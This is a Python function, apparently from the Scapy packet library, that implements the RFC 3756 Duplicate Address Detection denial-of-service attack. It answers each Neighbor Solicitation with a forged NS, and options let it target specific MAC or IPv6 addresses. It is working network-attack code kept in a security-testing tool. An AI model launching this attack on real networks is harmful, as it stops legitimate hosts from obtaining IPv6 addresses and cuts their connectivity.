docs: def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
                                reply_mac=None):
      """
      Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
      3756. This is done by listening incoming NS messages sent from the
      unspecified address and sending a NS reply for the target address,
      leading the peer to believe that another node is also performing DAD
      for that address.
  
      By default, the fake NS sent to create the DoS uses:
       - as target address the target address found in received NS.
       - as IPv6 source address: the unspecified address (::).
       - as IPv6 destination address: the link-local solicited-node multicast
         address derived from the target address in received NS.
       - the mac address of the interface as source (or reply_mac, see below).
       - the multicast mac address derived from the solicited node multicast
         address used as IPv6 destination address.
  
      Following arguments can be used to change the behavior:
  
      iface: a specific interface (e.g. "eth0") of the system on which the
           DoS should be launched. If None is provided conf.iface is used.
  
      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
           Only NS messages received from this source will trigger replies.
           This allows limiting the effects of the DoS to a single target by
           filtering on its mac address. The default value is None: the DoS
           is not limited to a specific mac address.
  
      tgt_filter: Same as previous but for a specific target IPv6 address for
           received NS. If the target address in the NS message (not the IPv6
           destination address) matches that address, then a fake reply will
           be sent, i.e. the emitter will be a target of the DoS.
  
      reply_mac: allow specifying a specific source mac address for the reply,
           i.e. to prevent the use of the mac address of the interface.
      """
  
      def ns_reply_callback(req, reply_mac, iface):
          """
          Callback that reply to a NS by sending a similar NS
          """
  
          # Let's build a reply and send it
          mac = req[Ether].src
          dst = req[IPv6].dst
          tgt = req[ICMPv6ND_NS].tgt
          rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt)  # noqa: E501
          sendp(rep, iface=iface, verbose=0)
  
          print("Reply NS for target address %s (received from %s)" % (tgt, mac))
  
      _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
                          tgt_filter, reply_mac)